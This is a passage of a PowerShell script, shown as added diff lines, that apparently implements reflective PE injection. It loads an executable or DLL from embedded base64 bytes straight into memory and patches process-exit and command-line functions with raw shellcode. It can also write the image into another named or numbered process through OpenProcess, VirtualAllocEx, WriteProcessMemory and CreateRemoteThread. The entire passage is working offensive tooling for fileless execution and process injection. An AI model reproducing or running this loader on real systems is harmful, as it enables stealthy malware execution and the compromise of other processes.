[UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + #Determine whether or not to use 32bit or 64bit bytes + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8) + { + [Byte[]]$RawBytes = [Byte[]][Convert]::FromBase64String($PEBytes64) + write-verbose "64 Bit Injection" + } + else + { + 